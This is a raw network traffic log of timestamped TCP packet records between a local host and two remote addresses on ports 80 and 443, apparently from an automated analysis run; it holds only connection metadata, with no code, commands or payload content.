Nov 15, 2024 09:55:20.719697952 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.719722033 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.719732046 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.719844103 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.734802961 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.735431910 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.735441923 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.735939980 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.735946894 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.757225037 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.757275105 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.757286072 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.757347107 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.757379055 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.757549047 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.757561922 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.757595062 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.757627010 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.770960093 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:20.771020889 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:20.789349079 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.789865971 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.789879084 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.790359020 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.790364027 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.797122955 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.797511101 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.797533035 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.797898054 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.797905922 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.808614016 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.809243917 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.809257030 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.809648991 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.809659004 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.815099955 CET	443	49753	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.815213919 CET	443	49753	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.815289021 CET	49753	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.815800905 CET	49753	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.815813065 CET	443	49753	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.815825939 CET	49753	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.815839052 CET	443	49753	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.820452929 CET	49758	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.820485115 CET	443	49758	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.820560932 CET	49758	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.820696115 CET	49758	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.820705891 CET	443	49758	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.863764048 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.863852024 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.864003897 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.864161015 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.864182949 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.864195108 CET	49754	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.864200115 CET	443	49754	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.867472887 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.867518902 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.867691994 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.867834091 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.867861986 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.920443058 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.920667887 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.920758963 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.920825958 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.920844078 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.920855999 CET	49755	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.920861959 CET	443	49755	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.923959970 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.923995972 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.924069881 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.924216986 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.924228907 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.927848101 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.928009033 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.928064108 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.928100109 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.928117990 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.928128958 CET	49756	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.928136110 CET	443	49756	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.930319071 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.930351973 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.930414915 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.930532932 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.930547953 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.938875914 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.939076900 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.939148903 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.939245939 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.939245939 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.939259052 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.939271927 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.941836119 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.941884041 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:20.941965103 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.942086935 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:20.942105055 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.545867920 CET	443	49758	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.546415091 CET	49758	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.546441078 CET	443	49758	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.546924114 CET	49758	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.546931028 CET	443	49758	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.628353119 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.629425049 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.629435062 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.629829884 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.629833937 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.670306921 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.670948029 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.671014071 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.671408892 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.671426058 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.675602913 CET	443	49758	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.675662041 CET	443	49758	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.675719976 CET	49758	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.675905943 CET	49758	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.675915003 CET	443	49758	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.675925970 CET	49758	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.675930977 CET	443	49758	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.677946091 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.678299904 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.678318977 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.678797960 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.678802967 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.678814888 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.678854942 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.678924084 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.679049969 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.679063082 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.699362040 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.699738979 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.699770927 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.700129986 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.700145960 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.761754036 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.762082100 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.762223959 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.762223959 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.762223959 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.765302896 CET	49764	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.765362978 CET	443	49764	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.765425920 CET	49764	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.765597105 CET	49764	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.765604973 CET	443	49764	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.800528049 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.801666021 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.801736116 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.801810026 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.801810980 CET	49760	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.801852942 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.801878929 CET	443	49760	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.804493904 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.804533958 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.804821968 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.804989100 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.805001020 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.809743881 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.810077906 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.810148954 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.810188055 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.810189009 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.810209036 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.810230017 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.812318087 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.812355042 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.812413931 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.812546968 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.812561035 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.836306095 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.836522102 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.836615086 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.836693048 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.836718082 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.836738110 CET	49761	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.836746931 CET	443	49761	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.838985920 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.839004040 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:21.839071035 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.839210987 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:21.839221954 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.067332029 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.067358017 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.417157888 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.417748928 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.417781115 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.418276072 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.418286085 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.503047943 CET	443	49764	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.503618956 CET	49764	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.503643990 CET	443	49764	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.504127979 CET	49764	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.504137993 CET	443	49764	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.536240101 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.537509918 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.537560940 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.538024902 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.538043976 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.545835972 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.545984030 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.546149015 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.552407980 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.552422047 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.552439928 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.552444935 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.555351973 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.555381060 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.555459023 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.555495977 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.555653095 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.555665016 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.555876970 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.555891991 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.556334019 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.556341887 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.562702894 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.563107014 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.563133955 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.563522100 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.563534021 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.630264044 CET	443	49764	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.631388903 CET	443	49764	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.631619930 CET	49764	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.633384943 CET	49764	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.633414030 CET	443	49764	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.633428097 CET	49764	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.633435011 CET	443	49764	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.643352032 CET	49769	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.643383026 CET	443	49769	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.643541098 CET	49769	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.643636942 CET	49769	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.643644094 CET	443	49769	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.665225029 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.665327072 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.665414095 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.665637016 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.665678024 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.665703058 CET	49765	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.665718079 CET	443	49765	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.671354055 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.671391010 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.672463894 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.672765970 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.672785997 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.685446024 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.685611963 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.685674906 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.685739994 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.685751915 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.685765982 CET	49766	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.685770988 CET	443	49766	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.692302942 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.692423105 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.692486048 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.775500059 CET	49771	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.775517941 CET	443	49771	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.775604010 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.775631905 CET	49771	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.775649071 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.775676012 CET	49767	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.775690079 CET	443	49767	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.775768042 CET	49771	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:22.775774956 CET	443	49771	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:22.810338974 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:22.810492039 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:23.158992052 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.159035921 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.159111977 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.231405020 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.231455088 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.285096884 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.330877066 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.342580080 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.342602968 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.343162060 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.343172073 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.383703947 CET	443	49769	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.384941101 CET	49769	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.384958029 CET	443	49769	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.385601997 CET	49769	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.385607004 CET	443	49769	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.439807892 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.468597889 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.468692064 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.468756914 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.487138987 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.495135069 CET	443	49771	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.515889883 CET	443	49769	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.516066074 CET	443	49769	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.516145945 CET	49769	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.519393921 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.519411087 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.519897938 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.519903898 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.524847984 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.524864912 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.524878025 CET	49768	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.524885893 CET	443	49768	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.527045965 CET	49771	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.527062893 CET	443	49771	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.527532101 CET	49771	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.527535915 CET	443	49771	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.535854101 CET	49769	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.535876989 CET	443	49769	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.535907030 CET	49769	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.535913944 CET	443	49769	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.541842937 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.541877985 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.541945934 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.542068005 CET	49773	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.542088032 CET	443	49773	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.542269945 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.542300940 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.542367935 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.543302059 CET	49774	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.543317080 CET	443	49774	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.664068937 CET	443	49771	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.664136887 CET	443	49771	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.664146900 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.664196968 CET	49771	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.664238930 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.664279938 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.696980953 CET	49771	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.697005033 CET	443	49771	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.697016001 CET	49771	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.697022915 CET	443	49771	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.698234081 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.698281050 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.698299885 CET	49770	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.698307037 CET	443	49770	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.744261980 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.744314909 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.744384050 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.788733959 CET	49775	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.788759947 CET	443	49775	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.792871952 CET	49776	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.792901039 CET	443	49776	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.792977095 CET	49776	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.793365955 CET	49776	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.793380976 CET	443	49776	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.961169958 CET	443	49772	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:23.988776922 CET	49772	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:23.988786936 CET	443	49772	13.107.246.45	192.168.2.7
